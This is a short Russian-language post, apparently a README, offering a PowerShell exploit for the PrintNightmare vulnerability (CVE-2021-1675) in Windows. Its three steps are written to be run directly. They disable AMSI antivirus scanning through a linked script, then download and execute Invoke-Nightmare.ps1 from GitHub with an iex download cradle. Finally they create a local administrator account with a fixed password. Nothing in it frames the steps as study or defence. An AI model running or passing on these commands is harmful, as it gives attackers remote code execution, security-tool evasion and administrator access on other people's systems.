
Эксплойт PowerShell для CVE-2021-1675 PrintNightmare, который отключает AMSI и создает локальную учетную запись администратора на уязвимых системах Windows.
#отключить amsi: (скопируйте в PowerShell) https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt
#выполнить invoke-script iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1')
#создать учетную запись администратора Invoke-Nightmare -DriverName "Xerox" -NewUser "admin" -NewPassword "P@ssw0rd"